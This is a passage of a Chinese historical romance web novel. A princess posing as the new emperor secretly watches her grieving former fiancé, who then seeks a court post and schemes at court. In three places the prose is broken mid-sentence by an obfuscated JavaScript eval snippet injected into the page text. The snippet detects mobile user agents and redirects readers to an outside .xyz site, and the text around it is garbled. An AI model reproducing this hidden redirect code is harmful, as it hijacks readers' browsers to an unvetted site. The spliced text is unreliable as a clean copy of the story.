看着萧含光眼中十分不信的神情,齐韶没有再继续这个话题,他看向远处的马车:“陛下,我们先回宫吧。” 马车碾过鸡笼山上的薄雪,重新回到金陵城。暮云在天边镀上一层薄金,这自由的一日也即将结束。 眼看宫城在望,萧含光心中忽涌起一阵冲动,她猛地拍了一下车壁,大声道:“停车——” 齐韶眼中闪过一丝探究,“陛下,还有什么事?” 萧含光深吸一口气,道:“齐韶,你可不可以先送我去驿馆?” 齐韶拧了一下眉:“陛下想去见小宋将军?” 23. 第五章 嶙峋少年 马车停了下来。 “我知道这个要求会让你为难,但是……我……”萧含光紧紧攥住衣袖,她睫毛颤动,盈盈双目中溢满忧愁:“他那日在栖凤殿昏迷,我就再没有他的消息,我实在是担心……” 齐韶无声叹息,道:“陛下若是担心小宋将军的伤势,倒也不必亲自去驿馆。其实,他昏迷第二天便已苏醒,虽伤势严重,但经御医精心调养,卧床多日后已能起身,如今已无大碍。” 萧含光心中一震:“你怎么会知道这些?” 齐韶斟酌片刻,道:“陛下,您去年很长时间待在药师庵,对于这门婚事的很多细节并不知情。去年九月,北魏的鲜卑人在秋收之后大举南下,分三路同时进攻荆楚、淮南和广陵三个方向。战火燃起,边境百姓流离失所,朝廷震动。” “如今朝廷镇守荆楚的是荆州都督何长龄,他是小宋将军的母舅,坐镇淮南的是庐江刺史宋寒章,坐镇广陵的是扬州都督齐栋,他是司徒公齐鸿的第三子,算起来是陛下您的表舅。十月战报传回金陵,荆楚和淮南战线都是小胜,广陵方向却是大败。同淮南战报一起送到金陵的,还有宋寒章的奏折,为其子宋海晏求娶公主……当时,金陵还有小道消息,说是北魏派出使者到宋家劝降,被宋家子所杀……” 齐韶说到这里顿了一下:“先帝的想法暂且不提,你猜太皇太后看到宋家的奏折会怎么想?” 经过这一个月白令瑶的教导,又有太皇太后昨日的铺垫,萧含光对朝堂之事已经有了自己的判断,她沉吟片刻,低声道:“太皇太后大概会觉得宋家携淮南战略要地,威逼帝室,强娶公主,因此对宋氏心怀忌惮……” “正是此理。”齐韶道:“自两百年前中原板荡,世族南渡以来,南方虽然历经数朝,始终是皇室与世家共治天下。如今南朝门阀虽以江左齐氏、会稽魏氏等为首,但宋家、何家这些大族在一地经营多年,力量亦不可小觑。虽然金陵看起来平静,但自去年秋天开始的这场战事并未结束,双方一直在相持。” “皇太孙随先皇离世,陛下从此身属社稷,和宋家的婚事自然无法继续。但大战当前,太皇太后忌惮宋氏和何氏,绝不容许宋家子在金陵有任何闪失,一定会尽最大努力将他的伤治好,再完好无损地送回庐江去——” “所以我每天都会去驿馆,将他的近况一五一十地汇报给太皇太后知情。”齐韶绕了一大圈,又将话题绕了回来:“我甚至知道昨日宋海晏早晚各吃了一碗粳米粥,午饭吃了汤饼和鱼羹。陛下实在不必担心……” “谢谢你告诉我这些。”萧含光闭上眼睛,身体靠在车壁上,体味着这些消息。片刻后,她睁开眼睛,鼓起勇气,再次恳求道:“按你的说法,他伤愈之后就会返回庐江,或许我此生再没机会与他见面了。齐大人,你既然每日都要去驿馆,今日就带我一起去。我不进都行,只要远远看他一眼,见他安好我就放心了。” 齐韶轻叹了一声。他面露无奈,转头对车夫道:“先回我在朱雀街的宅邸。” 半炷香之后,马车停在一座宅院门口。齐韶低声道:“陛下,你先在这里等我一下。” 没多久,齐韶去而复返,手上拿了一顶黑色的斗篷,道:“陛下,您将狐裘脱下放在车上,穿上斗篷,用帽子遮住脸。”又对车夫道:“现在去驿馆。” 等马车停在驿馆门前时,萧含光已经换好衣服。这斗篷应是齐韶自己的,极为宽大,穿上之后,将她从头到脚包得严严实实。 齐韶伸手将帽檐往下拉了些,低声道:“陛下,进去之后,你跟着我走就行,不要说话,也不要让任何人看到你的脸。” 萧含光点头。 她跟在齐韶身后,走进驿馆,驿馆的驿丞见齐韶走入,连忙上前,神色恭敬道:“齐大人。” 齐韶问道:“小宋将军今日情况如何?” 驿丞答道:“今日气色看着比昨日好些,只是他心情不好,正一个人在院子里闷坐着。齐大人可要去看看?” 齐韶摇了摇头,声音沉沉:“太皇太后说小宋将军这一个月来身体都没好,要我来查看医案,看看太医们究竟是如何用药。你给我在二楼找一间朝院子开窗的房间,再让太医将这一个月的医案整理好送到房间里来……” 听闻是太皇太后亲自过问此事,那驿丞不敢轻忽,连忙在前领路,道:“齐大人,您这边请——” 萧含光跟着齐韶上了二楼,不一会又有太医带着一本厚厚的医案进来,见到齐韶,哭丧着脸道:“齐大人,并非下官们不用心医治,只是小宋将军身体旧伤太多,而且他心情沉郁,肝气郁结,十分药下去,见效的也只有四五分。还望齐大人体谅下官,在太皇太后面前多美言几句……” 齐韶接过医案,神色淡然:“我知道了,你下去吧。” 太医离开之后,齐韶将房间的大门关紧,将窗户开了一条细缝,朝外看了一眼,对萧含光道:“宋海晏就坐在那里,陛下可以在这窗边站一会儿,不要发出声音,也不要让他看到你。” 他深深看了她一眼,道:“陛下,您也知道宋海晏的性子,他若知道您就在这里,非闹得不可开交。别的不说,微臣的身家性命肯定不保了。” 他说完之后,不再看她,而是走到书案边,当真拿起那本医案看了起来。 “谢谢你。”萧含光心中满是感激与忐忑。她知道,齐韶带她来驿馆是冒了极大的风险。 她走到窗边,将窗户推开了些,朝下看去。 这院子本是一处小花园,隆冬之时,草木凋零,只有西北一座亭子尚可称为一景,宋海晏独自一人在亭中坐着。从她的角度,只堪堪见到他的背影。 少年的脊骨更瘦薄了些,明明身着冬衣,看着竟比春时显得单薄了不少。一阵风吹过,她听到他低低咳嗽起来,身体颤动。 她不自觉朝着窗外伸出手,想去抚平他耸动的臂膀,却捉了个空。窗棂的薄雪落下,积了她满手,冰冷刺骨的感觉传来,她才意识到,两人之间其实隔了很远的距离,她根本触不到那道背影。 人的命运有时候就是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279688|182500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样,看起来已是触手可及,其实还隔了很远很远。 譬如药师庵那一晚,宋海晏握着她的手,只要能逃进树林,便有逃脱的机会,最终他倒在了离树林一小步的地方。 在婚礼前一夜,她坐在妆镜前,母亲替她梳发时,她距离嫁给他也仅仅隔了一天。 一步。 一天。 就是咫尺与天涯的距离。 积雪吱嘎有声,有人穿过回廊,进入院中,唤道:“阿晏。” 萧含光辨认了一下,来人是那天和宋海晏一起进栖凤殿的少年,那个名叫陆思明的表弟。 见到陆思明,宋海晏似乎恢复了一些活人的气息,问道:“思明,怎么样?”他病后中气不足,声量不大,堪堪到她勉强能听到的程度。 陆思明道:“我已经打听过了,元日朝会时,主持朝会的确实是刚刚继位的皇太孙,不是你说的什么女扮男装的公主。”陆思明叹息一声:“阿晏,你魔怔了,长乐公主和皇太孙本就是双生兄妹,长相相似很正常,你一定是认错人了。” 宋海晏又道:“那我的奏折呢,你帮我递交了没有?我要面君,如果真的是皇太孙,他为什么不敢见我?” 陆思明语气无奈:“阿晏啊,这皇帝日理万机,你又没有个官职在身上,皇帝有什么理由要见你啊。而且如今朝中休沐,这折子递上去也没人批啊。” 宋海晏愣了半晌,又道:“那公主的遗体呢?就算她死了,也是天家许给我宋海晏的妻子。婚礼未成,这遗体也应该交给我带回庐江安葬吧。不行,我要去皇宫,让他们将公主的遗体还给我。” “阿晏啊,公主的遗体已经和先帝一起葬入皇陵了。要我说,咱们还是算了吧,你上次看了一眼,就病成这样。你要是带回去天天哭坟,是想今年就死吗?你这身体从去年春天就没好过,底子再好也禁不起这样折腾啊。阿晏,就算你不心疼自己的身体,也该为你母亲想想。她这半年以来,为你流了多少泪,你又不是不知道。” 说到这里,陆思明的声音也隐隐带了哭腔,乞求道:“阿晏啊,你能做的都做过了,你已经对得起她了。是公主福薄,和你无缘。算我求你了,我们回庐江去吧。” 宋海晏不再说话,他安静时,背影更显嶙峋支离。 良久,她听到他咳嗽两声,抬头望天,叹道:“原来,我还是什么也没有改变。你不是阿幸,你是阿苦……” 萧含光捂住口鼻,任由泪水滑落,她不敢哭出声,唯恐宋海晏发现,只能无声呜咽。 一只手从后面伸过来,关上了窗户,又递了一张巾帕过来。 “过去发生的事无法回头,长乐公主永远不可能死而复生。”齐韶的声音一如既往的冷冽深沉,“宋家求娶公主,太皇太后已经对宋家父子生出敌意。事久生变,让宋海晏相信公主死了,彻底死心,早点回庐江才是对他、对宋家最好的结果——” 他扶住萧含光摇摇欲坠的身躯,将她带出门外:“陛下,宫门落钥的时间快到了,我们该回去了。” 24. 第六章 玉堂佳宾 楼下的两人并不知楼上有人窥探,宋海晏在亭中坐了一会,忽又想起什么,向陆思明道:“思明,我知道你姑姑嫁入会稽魏家,你的姑父正是如今的中书令魏膺之魏大人,他深得先帝信任,佐理朝政,能不能请你帮我引见魏大人?” 陆思明一个哆嗦,忙道:“你该不会是想找中书令大人求证吧。阿晏啊,不管新皇是真是假,都只能当他是真的。就算退一万步讲,你确实没认错人,又能怎么样呢?” “你放心,思明。”宋海晏脸上现出浅浅笑意:“我绝不问公主的事。这金陵城遍布高门大族,迎来送往的都是世家名流。我们宋家在淮南是有些名望,但我如今没个官职在身,走到哪里都低人一等,因此我想向中书大人求个官做做。” “求官?”陆思明瞪他:“你要做官还需要在金陵求人?你回庐江不是想做什么就做什么。” 宋海晏苦笑:“为这桩婚事,我阿父差点没打死我。如今婚事不成,与其回去继续看他的冷眼,不如留在金陵,混个职司做做,等他气消了再回去……” 陆思明想了一下,点头道:“你说的在理。你之前立下战功,中书大人也是知道的。我想,你没能娶到公主,朝廷多少会有些体恤之意,在金陵求个实缺应是不难。但是你母亲那边……舅母让我看着你,你不回去我怎么交代?” “我会写一封信向她解释这事。你放心,我在金陵肯定不惹是生非。你帮我引见中书令大人后,就先和松声回庐江去吧……” 陆思明苦着脸,无可奈何道:“好吧。” 宋海晏又问道:“对了,如今淮南战事如何?” “最近倒是有好消息传来。”说到战况,陆思明不免兴奋起来:“今日我收到庐江那边的传信。我们这一路大胜,歼灭了北魏中路大军不说,还斩首了北魏大将拓跋兴,俘虏其手下将官十数人,从北魏手中夺回怀远、凤台两城。我估计,北魏遭此大败,荆州、广陵两个方向也会很快退兵,这场战事应该很快就结束了。” “这确实是个好消息。”宋海晏站起身来,漾起一抹明亮笑容:“这样我去中书令大人那里求官,底气也更足一些。” 不知是不是因为前线消息的鼓舞,宋海晏久病不愈的身体竟慢慢好起来了。 正月初七,陆思明带他去拜访中书令魏膺之。 魏膺之出身会稽魏氏。 若论门第之高、权势之盛,会稽魏氏自然不及一朝两后的江左齐氏。不过齐氏虽贵为南朝第一门阀,却后继乏力。 司徒公齐鸿生有三个儿子。长子齐梁好道术,沉迷修道,虽然任太常寺卿一职,但常年服用五石散,并不管事,职事由下面的属官署理。次子齐椽,雅好诗文字画,结交的都是僧道名士,喜欢清谈论玄,不喜实务,更不愿出仕为官。唯有第三子齐栋出镇扬州,但文治武功不足以开拓进取,只勉强守成而已。 太皇太后齐明霜倒是有魄力,从远房偏支里找了器度弘雅、才情卓荦的齐韶出来,着重培养。而齐韶如今年不过二十,资历尚浅,未曾担当大任。 反观会稽魏氏,子弟中英才辈出。除魏膺之出任中书令外,其兄魏显之出镇永嘉,其堂弟魏彰之出镇湘州,子侄辈多在朝中担任要职。 会稽魏氏与其他氏族联姻时,并不特别注意门第高低,而更看重实际利益。譬如魏膺之的妻子出自庐江陆家,陆家并非时人认为的上等门阀,然陆家与掌控庐江百年的宋家同气连枝,世代为姻亲,陆家家主夫人正是宋寒章的嫡亲妹妹。在魏膺之看来,这样的姻亲比起许多空有门第、朝中却无显职的婚姻更切实际。 这些年会稽魏氏不断扩展自己的影响力,虽仍不如江左齐氏,但已相去不远。 魏膺之的宅邸位于皇城南的朱雀门附近。金陵城的高官显爵之家大多居于此地。魏膺之执掌中枢,行宰相事,家中宅邸更是与众不同。门楼高峙,碧瓦朱甍,楼台馆阁,列布其中。凿池引水,叠石成峦,富贵之中不失典雅。 今日休沐,主人在暖阁宴客。 暖阁之内铺设火道,从外面烧起木炭,室内温暖如春。魏膺之着错彩罗縠锦袍,南向而坐。两侧分设一席,宋海晏居左,陆思明居右。侍儿往来,斟酒奉菜,另有数名美貌家伎,奏乐起舞,为客人助兴。 宋海晏想起欲求之事,举起酒爵,道:“中书大人……” 他刚一开口,魏膺之便笑眯眯打断道:“贤侄,你是思明的表兄,便如同我的子侄一般,叫大人太见外了,你叫我世伯就好……”魏膺之态度和蔼,“贤侄今日来我家中,无需拘束,就当回到自己家一般……” 中书大人这般态度,显然也想拉近和宋家的关系,宋海晏从善如流道:“世伯。” 魏膺之脸上露出关切神色,道:“以我们两家的关系,你在病中,我该亲自探望,只是驿馆人多眼杂,十分不便,不知贤侄如今身体可大安了?” “劳世伯牵挂,海晏身体已经大好了。”宋海晏有求于人,便特地拣了褒扬的话来说:“我从前在家中时,时常听家父说起世伯,家父说世伯经纶济世、忠勤体国,是国之柱石。父亲还说,让我这次到金陵来,定要来拜望世伯,增长见识。只是海晏这一向在病中,不免耽搁,今日见到世伯,果然更胜闻名,风范令人敬仰。” 魏膺之受此褒扬,通体舒泰,又见宋海晏龙章凤姿,谈吐清雅不俗,举止进退有度,心中忽动一念。长乐公主未嫁夭亡固然不幸,倒将这块璞玉送到他的眼前来。 如今会稽魏氏虽然在朝中势力大增,但毕竟不擅武事、不掌兵权,终究比齐氏逊了一筹,魏膺之在北方战事上一向说不上话。宋海晏是宋寒章的长子,也将是宋家未来的家主。若是魏氏能直接与宋家长子联姻,将来魏家的手就能伸到淮南、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279689|182500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚至荆州前线,届时他在朝中的话语权足够与齐氏分庭抗礼。 他想到这里,唏嘘叹道:“贤侄从庐江来迎娶公主,长乐公主却不幸夭亡,一桩喜事变成哀事,人生无常,莫不如是。贤侄年少有为,又何愁没有淑女相配?” 他举起酒盏,换上笑颜:“我的从弟湘州刺史魏彰之家中有女,年方及笄,才貌得当,若是贤侄愿意,我愿作伐,促成这桩婚姻。魏家与宋家若结为姻亲,将来在朝中也能互相扶持,贤侄以为如何?” 宋海晏一愣,他今日拜访魏膺之只是想求个职司,没想到还没开口,魏膺之就直接把话扯到联姻之事上来。 正思考如何推拒,见陆思明拼命朝他打眼色,示意他同意这桩婚事——在南楚一朝,魏家门第仅在江左齐氏之下。魏家在朝之中枢,宋家镇守边疆,若能结姻,实乃双方互利之事。 当然,陆思明还有两层心思。一则,公主夭亡,宋海晏憔悴瘦损,若是娶到新妇,也能早日从伤痛中走出。二来,若是宋海晏成为魏家婿,官职之事魏膺之自会更加尽心。 谁知,宋海宴眼神只在他面上一掠而过,便举觞向魏膺之道:“多谢世伯厚爱,海晏与长乐公主婚约已成,虽未能成礼,但在我心中,她已经是我的妻子了。按我朝礼制,公主薨逝,驸马需服丧一年。婚姻之事,海晏想等一年之后再议。” 礼制虽有驸马为公主服丧一年,期间不得另娶的规定。但宋海晏与长乐公主并未完婚,并不需遵守此制。天家也有言,命他自行婚娶。但他此刻搬出礼制来,魏膺之也无可反驳,且宋海晏并未明确拒绝,只是说一年后再议婚。反正这一年内,宋海晏不会婚娶,他一年后再往庐江议婚便是。想到这里,魏膺之哈哈笑道:“贤侄实乃至情之人,令人欣赏。是了,不知贤侄今日来访,所为何事?” 宋海晏暗中松了一口气,此关既过,又不至于得罪中书大人。他吁叹道:“不瞒世伯,我因这桩婚事,和父亲闹得不太愉快。如今婚姻不成,也不想回庐江去,想在京城求个挂名的虚职,虚度些时日,等父亲消气了再回去……” “这倒好说。”魏膺之脸上笑意未变,京城那些实职显职都是一个萝卜一个坑,各家争得头破血流,如今新帝刚刚继位,太皇太后专擅大权,他魏膺之也不能做主。但是宋海晏只求个临时挂名的虚职,不过他大笔一挥的事,不妨做个顺水的人情。 他斟酌片刻,道:“这样吧,你到中书省做个员外秘书郎,不需你做些什么,只每日到宫中应个卯即可;若是有事,不去也行。” 南楚朝廷中书省的办公地点在皇宫西南角,到中书省任职,就算是个挂名的闲职,也能出入禁庭。宋海晏大喜过望,举觞再拜道:“多谢世伯——” 宋海晏心满意足,席间频频敬酒,他口才甚好,又有心奉承,将魏膺之吹捧得天上有、地上无,一时宾主尽欢。 25. 第七章 在祀与戎 初八日,百官复朝。 宋海晏昨日得到中书大人的许诺,心情大好。他命宋吉找来金陵买卖庄园的牙人,说是要在金陵城买一处园邸,之后便兴致勃勃拉着陆思明、赵松声满城看园宅。 自他婚事不谐,终日恹恹,这回终于有个活人的样儿,陆思明、赵松声也不忍拂他的意,只好陪着他满城乱逛,最后终于在城东相中一处宅子。那宅子远离闹市,面积并不大,前头是三进三阔的主屋,后头有一处院子。 那院子景色也无甚出众之处,只是正中间有一棵粗壮的老梨树,冬日的梨树无花无叶,只可见皴裂的树皮和扭曲虬结的枝干。 不知为何,宋海晏看了诸多宅子都不满意,看到这棵老梨树后当即决定买下这处宅子。次日,他便从驿馆搬到宅中居住,又命宋吉找来工匠,将院子翻修一新。重筑了围墙,新盖了两间房屋。又蓄了奴仆,置了车马,大有在金陵长住之意。 又过了两日,魏膺之命人送来了员外秘书郎的版檄、印信、官服等,宋海晏十分欣喜,又备了礼物,亲自到中书大人府上致谢。陆思明知他主意已定,此时绝不肯回家去,只好请宋家的奴仆小心照看,又带了他写给何夫人的亲笔信,与赵松声先行返回庐江。 宋海晏从此便在中书省下当值。他是员外散官,也没什么事,每日点完卯,便在省下各个值事房闲逛,与同侪的官员们攀谈闲聊。 不久前,宋家在淮南击败北魏一整路大军,北魏随即在荆州和扬州两个方向先后退军,这对南楚朝廷而言是一场难得的大胜,也是时下金陵人人谈论的焦点。 众官员知道这位新来的秘书郎是宋家的长公子,自然少不了恭维奉承,不因他是个散官而看轻——宋家的根基在淮南,又是手握重兵的重藩。人人皆知这位宋家公子最近得中书大人提携,做官不过为在中枢增长一番见闻,将来还是要回庐江的,前途不可限量。 宋海晏出手大方,下值之后常常请众人出去喝酒,诸人乐得和他往来。不出数日,宋海晏就将中书省上下摸了个门清,其中以中书舍人裴光献性情疏放,酒量过人,与他最为交好。 这日下值后,宋海晏又请裴光献出去喝酒。 酒过三巡,面酣心热之际,宋海晏不经意地问道:“裴大人,不知这些时日,你可曾觐见陛下?” 裴光献答道:“见当然是见过的,元日朝会那日远远瞥过一眼。不过我职位低,隔得远,并未瞧见详细。” 宋海晏讶然道:“中书省是一朝之中枢,中书舍人是天子近臣,难道裴大人也未曾得觐天颜吗?” 裴光献举起酒盏,一饮而尽,面色又多了几分醺然,道:“别说我一个小小的中书舍人,如今就连令公魏大人,在元日之后,都没有机会面圣呢。” 宋海晏又亲自替他斟了一杯酒,不解道:“竟有此事。中书大人是一朝宰执,竟也见不着陛下吗?”他声音多了几分疑虑,“那国家大事,又是如何裁度?” 裴光献酒后迷糊,加上自己心中本有些不忿,便将中书省内的旧事向他和盘托出。 “从前先帝在时,最是信重魏大人,每日朝后都会召我们中书省内的郎官们咨议大事。可自先帝薨逝后,太皇太后以新帝体弱、不可劳累为由,既不坐朝,也不许魏大人觐见。不光如此,太皇太后还派了她的侄孙齐韶,到中书省任侍郎一职,名为辅佐,实则分了魏大人的权。” “每日朝中各部送到中书省的奏章表折,魏大人还没看呢,那位齐侍郎就通通带至椒房殿,由太皇太后批阅之后,盖上玺印,再带回省内,知会魏大人遵照办理。从前,我们中书省每日事务繁忙,如今一切都由太皇太后做主,我们这里倒成了闲散衙门了。”说到这里,裴光献也是大吐苦水:“如今连魏大人都无所事事,更不用说我们这些人了……” 宋海晏沉吟道:“太皇太后专权,难道魏大人没有异议吗?” “怎能没有异议?可齐氏在朝中势大,魏大人也是敢怒不敢言……”裴光献醉得眼皮子打架,趴倒在桌上,嘟哝道:“指不定中书大人也和你我一样,在哪里喝闷酒呢。” …… 次日下值,魏膺之回到家中不久,便有僮仆报宋家公子到访。 魏膺之连忙让人将宋海晏请入花园之中。这几日春光乍暖,园中山茶花开得正艳,白者如昆玉,赤者若丹砂,承露含羞,粲若云锦。 魏膺之命人在花下设下座席,宾主二人对坐饮茶。 宋海晏如今已是第三次登门,丝毫不露怯,先是感谢魏膺之让他在中书省下挂职,又盛赞魏膺之器度宏雅、才高名望,“世伯长”、“世伯短”地对着魏膺之好一顿奉承。 魏膺之虽然听着受用,但仍心事重重,面上不免带着些惆郁之色。 宋海晏趁机问道:“世伯今日愁眉不展,可是遇到什么为难事?” 宋海晏一介小辈,初到金陵,既无权柄,又无人望,魏膺之又怎么会向他诉苦,只道:“些许小事,贤侄不必挂怀。” 宋海晏忽地笑道:“可是为了中书省新进的齐侍郎?” 魏膺之微微一惊:“你怎会知道这些?” “世伯,我这些天整日都在省内,又怎会不知?”宋海晏端起茶杯,浅呷一口,凑前道:“不瞒世伯,此事不光世伯,中书省的郎官和舍人们人人都心怀牢骚,说是太皇太后擅权专制,中书省本为朝廷中枢,如今都成闲散衙门了。” 魏膺之深叹了一口气,道:“太皇太后从前为皇后时,便时常干政,先帝心怀当年齐氏襄助的恩德,对她多有容让,以致齐氏坐大。如今先帝薨逝,太皇太后无人挟制,竟擅权至此。如今陛下年幼体弱,我心忧矣,只怕有吕氏之祸。但如今宫中禁军,都在太皇太后掌控之中,我几次求见陛下,都受阻隔,如今君臣内外不通,我连陛下是否平安都不知道,又如之奈何?” 宋海晏沉吟片刻,道:“世伯若是想知道陛下是否平安,海晏倒是有个主意——” 魏膺之双目放光:“什么主意?” 宋海晏道:“世伯应也清楚淮南前线我军大胜北魏之事。我军不但斩首了北魏大将拓跋兴,还俘虏其手下将官十数人。家父的意思,是希望将这批俘虏押解到金陵来,在朝廷百官面前举行一场献俘仪式。如此既可宣扬我大楚的国威,又可以向陛下和太皇太后表明我庐江宋氏的忠诚之心。” 他顿了一顿,又道:“国之大事,在祀与戎。如此大事,太皇太后必会让陛下亲自出面接受献俘之礼。陛下既出面受礼,文武百官自然也可面君咨议朝事。世伯以为如何?” 魏膺之指节轻叩茶案,青瓷盏中涟漪微荡。 这的确是个绝佳的主意。历朝历代,接受献俘都是极其重要之事。何况,这场大胜发生在新帝继位不久之后,有着绝佳的象征意义,即使是太皇太后,也很难反对。 若献俘之事能成,太皇太后必会让皇帝出面。只要见了皇帝,魏膺之就可以设法以皇帝诏命为由,从太皇太后手中夺回部分权柄。 在魏膺之心中,另有一层隐秘的心思。这场战事中,夺得胜利的是掌控淮南战线的庐江宋氏,齐阀掌控的扬州战线并无尺寸之功,白白损兵折将。届时,京中议论起来,江左齐氏少不得折损颜面。 ——只要能损齐氏的颜面,这事就值得魏氏倾尽心力。 他脸上愁色一扫而空,笑容也热络起来:“贤侄这主意甚好,但献俘乃大事,令尊既有此意,不知是否有手信带来?” 宋海晏当然没有什么手信——此事本来就是他临时起意,连他阿父都不知道呢,又怎么会有手信?但这也难不倒他,他露齿一笑道:“家父的意思是命我先探探世伯的口风,若是世伯允准,自然会有正式的行文上报朝廷。” “好,好。”魏膺之拊掌笑道:“多谢贤侄解我心忧,我就等着庐江正式的行文了。此事若成,贤侄少不得要费心在各处周全。” 宋海晏恭敬行礼:“这是自然。” *** 庐江。 宋氏大宅之内。 “逆子,真是逆子——”庐江刺史宋寒章面色含怒,一掌猛地拍向几案,梨花木制成的条几从中间断成两截,那张从金陵送来的信纸轻飘飘落在地上。 宋寒章望向坐在一侧的妻子,恨恨道:“夫人惯出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宋寒章多年来征战沙场,军务繁忙,无暇教子,早早将宋海晏带到军中,让他在战场上摸爬滚打。宋海晏有几分聪明,又自恃勇武,渐渐养成了无法无天的性子。到女儿长大了些,宋寒章吸取教训,请了名师教导。宋碧棠自幼机敏,喜欢兵法,胸中颇有韬略,兼之心灵手巧,在宋寒章眼中,这个女儿实在比儿子强多了,只恨她不是男儿身,不便从军,无法托付家业。 这时听女儿这么说,宋寒章心中火气略降下去些,吐出一口气,道:“碧棠对此有何见解?” 宋碧棠从容道:“阿父从前只理兵事,不理朝事,只想守住淮南之地,不愿掺和金陵的明争暗斗。可阿父也该想想,淮南东接维扬、西连荆楚,是北方防线的最中心处,牵一发而动全身。宋家居如此战略要地,又手握重兵,这些事又岂是想避就能避开的?” 宋寒章负手踱至窗边,语气缓了三分:“接着说。” 宋碧棠接着道:“如今朝廷内齐氏一门独大,太皇太后又擅权专制,其他各家必定不满,偏偏齐家在北面战事上,始终被我们宋家压过一头。齐阀暗中忌恨我们,其他各阀早晚也会对我们宋家生出攀附之意。阿父你不见阿兄婚事不谐,魏氏立刻生出联姻之意。就算我们什么也不做,上天也已经替我们宋家安排好了。” 宋寒章低头不语,陷入沉思,少女轻灵的嗓音继续在耳边响起。 “从前先帝征战天下,我们庐江宋氏和江陵何氏膺服其威,献表归降。自从先帝薨逝,萧氏一门和后族齐阀并无善战之人。我们宋家北拒外敌,立下赫赫战功,是他们该仰我们鼻息,而不是我们该畏首畏尾。女儿认为,是阿父从前过于自矜了。我宋家如此武功,又何必困在淮南一地,难道阿父你就坐不得三公之位吗?” 宋碧棠抬起头,一双星眸中光彩闪耀:“女儿认为献俘仪式十分有必要,一来可以向皇室声明,就算婚事不谐,我庐江宋氏对大楚朝廷忠心依旧。二来,也该让金陵那些朝臣们知晓,是谁替他们挡住了北魏人南下的铁骑——” 一时间,室内缄默无声。 良久,宋寒章发出一声苦笑,他长叹一声道:“你说得没错,从求娶公主开始,这盘棋我庐江宋氏已经动了先手。太皇太后和齐家已生猜忌之心,我们又怎么可能中盘退出?” 他将女儿扶起,他凝望着少女的稚颜,道:“阿棠,你的兄长虽然勇武,但性子执拗,犟起来十头牛也拉不回来。他将来执掌家族,需要有人从旁辅佐,他平素最听你的,你要多规劝一些。” 宋碧棠轻轻点头:“是。” “好了,不说这些了。你跟阿父到书房去,草拟送往金陵的文书。” 26. 第八章 天地一蚁 椒房殿西南一角,有一处书房,宫人们称之为西书房。紫檀雕花的门扉半掩,透出缕缕沉水香。书架上垒满帛书竹简,暮色穿过帘隙,在青砖地上烙出菱格花纹。 萧含光跪坐在书案之前,抄写今日的奏折。金粉在夕阳炫影中泛起细碎冷光,在纸上渐次铺陈,如同金鸾振翅而出。 自初八日起,太皇太后每日命齐韶从中书省将各部上呈的奏折取回,自己批阅之后,又命萧含光将奏章内容和太皇太后的批示一一看过。若有不懂之处,由齐韶讲解一遍,再送回中书省交由魏膺之遵照办理。 太皇太后次日会考教她奏章为何这般处置。若是萧含光答不上来,太皇太后便命女史用戒尺笞打双手。 最初几日,萧含光对朝政的具体事务几乎一窍不通,全赖齐韶逐字逐句讲解。两人常常在西书房熬到半夜,饶是如此,萧含光仍免不了因答错挨打。 在太皇太后如此严厉的督促下,数日之后,萧含光渐渐熟悉了朝中之事,可以答得八九不离十。就算偶尔有答不上来的地方,太皇太后也只让齐韶详细分说,不再打她。一次太皇太后就奏章上没有提及之处发问,她的回答亦颇有见地。太皇太后罕见地面露笑容,允许她在齐韶的陪同下去皇宫最北的华林园赏景散心。 从此,太皇太后便不再考她。每日奏章送到椒房殿后,会让女官们原样抄一遍。待太皇太后将奏章批阅完成之后,便命她在抄本上将太皇太后的批语用“金钩细”的字体誊写一遍。 萧含光心中疑惑渐生。就算她再愚钝,回想自她入宫之后发生的种种事由,也能看出太皇太后是想用最快的速度培养出一个堪当大用的皇帝。 难道太皇太后真有让她当政之意?但太皇太后不说,她也不敢细问其中关窍,只能每日按照吩咐誊写奏折。起初,她的笔触生涩,字迹歪斜。随着日复一日的练习,那些纤薄绮丽的字锋逐渐能从她笔下流淌而出。 她看着那些她本不熟悉的字体,和墙壁上如同男子一样的身影,偶尔会生出恍惚之感,疑心那并不是自己的影子,而是哥哥萧樗的。 她是谁? 她是阿幸吗?还是萧樗? 或许,在婚礼那日,长乐公主真的死去了,是皇太孙萧樗的影子在她的身体内活了过来——至少,太皇太后似乎全然忘却了萧含光是女子,将她当作真正的萧樗来严厉教导。 不管如何,萧含光终于看到了主宰自己命运的一点点幽暗微光——她这一生从未得到过自由,即使那微光仍然掩在重重宫墙之后,掩在太皇太后幽深的眼眸之中,但这一点点微薄的可能性已让她分外欣喜。 这段时日,齐韶依旧每日奉太皇太后之命在西书房伴君,以应对萧含光可能出现的疑问。他大部分时候都在看书,看《六韬》《将苑》,也看《谷梁传》《战国策》。有时候,他也会抚琴娱心。他弹的尽是清悦、平和之音,她元日听到的那支忧怀怆恨的曲子再也没有听到过。 夕阳的影子悄然爬上窗棂,将雀翎帘的缝隙染成金红,又一寸寸褪去。 萧含光取过书案上的最后一张奏折,正要誊写之时,见奏折最左侧太皇太后的亲笔朱笔只有一个字:“准。” 